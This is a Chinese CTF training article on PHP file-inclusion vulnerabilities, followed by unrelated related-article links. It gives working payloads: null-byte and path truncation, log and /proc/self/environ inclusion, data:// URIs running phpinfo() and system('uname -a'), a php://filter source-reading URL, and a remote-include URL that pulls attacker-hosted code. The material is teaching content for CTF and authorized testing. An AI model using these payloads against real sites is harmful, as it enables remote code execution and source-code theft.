CTF实战12 任意文件包含漏洞

重要声明

该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

我们今天来了解一下任意文件包含漏洞

任意文件包含漏洞

<任意文件包含漏洞>也叫<文件包含漏洞>

这个漏洞只存在于PHP网站中

是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行

由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行

文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因

漏洞的分类

文件包含漏洞可以大概分为这么两类

1. 本地文件包含

利用的条件是,相关函数内的参数可控

2. 远程文件包含

利用的条件是相关函数内的参数可控,且allow_url_fopen = On

我们先就一个一个的来说一下利用方法

本地文件包含利用方法

本地文件包含漏洞的常规利用方法有以下几个步骤:

  1. 发现本地文件包含;
  2. 寻找上传功能;
  3. 利用包含漏洞包含解析

小技巧

有上传的时候,可以用包含截断技巧上传

原理

include($_GET['file'] . '.php')

利用方法

  1. %00截断 test.jpg%00GPC为OFF
  2. 超长文件名截断(*nix->4096 win->256) ././././././test.jpg
  3. 问号 test.jpg?

当然,我们很多时候遇到的是无上传的网站,那么无上传的时,我们也可以利用

但是要注意权限

利用方法

  1. 包含日志 (access_log error_log)
  2. 临时文件 (lfi with phpinfo)
  3. 包含其他环境变量 (/proc/self/environ)
  4. php://input
  5. data://
  6. php://filter

其中,php://input使用post方式传输我们要执行的php代码

data://利用条件需要

allow_url_include = On;

php>=5.2.0

其利用方法

file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=

file=data:;base64,PD9waHBpbmZvKCk7Lyo=

file=data:text/plain,<?php system("uname -a");?>

最后的php://filter可以用来读取源代码

且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析

我们可以构建如下的语句

http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php

之后就会返回some.php源码的base64加密

远程文件包含利用方法

远程文件包含的利用比较折腾

利用方法

  1. 拥有一台远程服务器
  2. 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg
  3. 文件内容中包含攻击代码
  4. 利用远程包含文件漏洞包含

可构造如下攻击URL

http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg

然后在test.jpg放上我们希望服务器执行的代码就可以了

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2018-06-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户画像

4.4 文件系统疑难点 3-4

为了创建一个文件,应用程序调用逻辑文件系统。逻辑文件系统知道目录结构形式。它将分配一个新的FCB给文件,把相应目录读入内存,用新的文件名更新该目录和FCB,并将...

8410
来自专栏耕耘实录

which、type、whereis、locate几个命令的区别与联系

版权声明:本文为耕耘实录原创文章,各大自媒体平台同步更新。欢迎转载,转载请注明出处,谢谢。

10130
来自专栏林德熙的博客

解决 vs 出现Error MC3000 给定编码中的字符无效

在 xaml 写中文注释,发现编译失败 Error MC3000 给定编码中的字符无效

26820
来自专栏linux驱动个人学习

HDMI驱动热插拔检测方法

a. 创建class_create("switch"); /sys/class/switch

16220
来自专栏抠抠空间

Linux基础命令

18100
来自专栏DeveWork

WordPress 显示数据库查询次数、查询时间及内存占用的代码

如果对进行过WordPress 性能优化,需要一个直观简单的查看方式的话,那么就可以使用下面所提及的代码,通过这段代码,可以在直观或者在html 源代码查看数据...

210100
来自专栏Java后端技术

Linux系统基础知识整理

  本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰的介绍,使得哪些刚接触Linux的小伙伴可以快速入门,也方便自己以后进行复习查阅。

20570
来自专栏小狼的世界

Rsync服务介绍与配置

rsync 是一个用于增量文件传输的开源工具,不得不说,rsync简直是不同服务器间传输文件、同步文件的利器。与FTP相比,它具有非常简单的安装和配置方法。而且...

20020
来自专栏bboysoul

linux下重命名脚本推荐

11820
来自专栏应兆康的专栏

每天一个Linux命令(2):cd命令

Linux cd 命令是最基本的命令语句,其他的命令语句要进行操作,都是建立在使用 cd 命令上的。所以,学习Linux 常用命令,首先就要学好 cd 命令的使...

463110

扫码关注云+社区

领取腾讯云代金券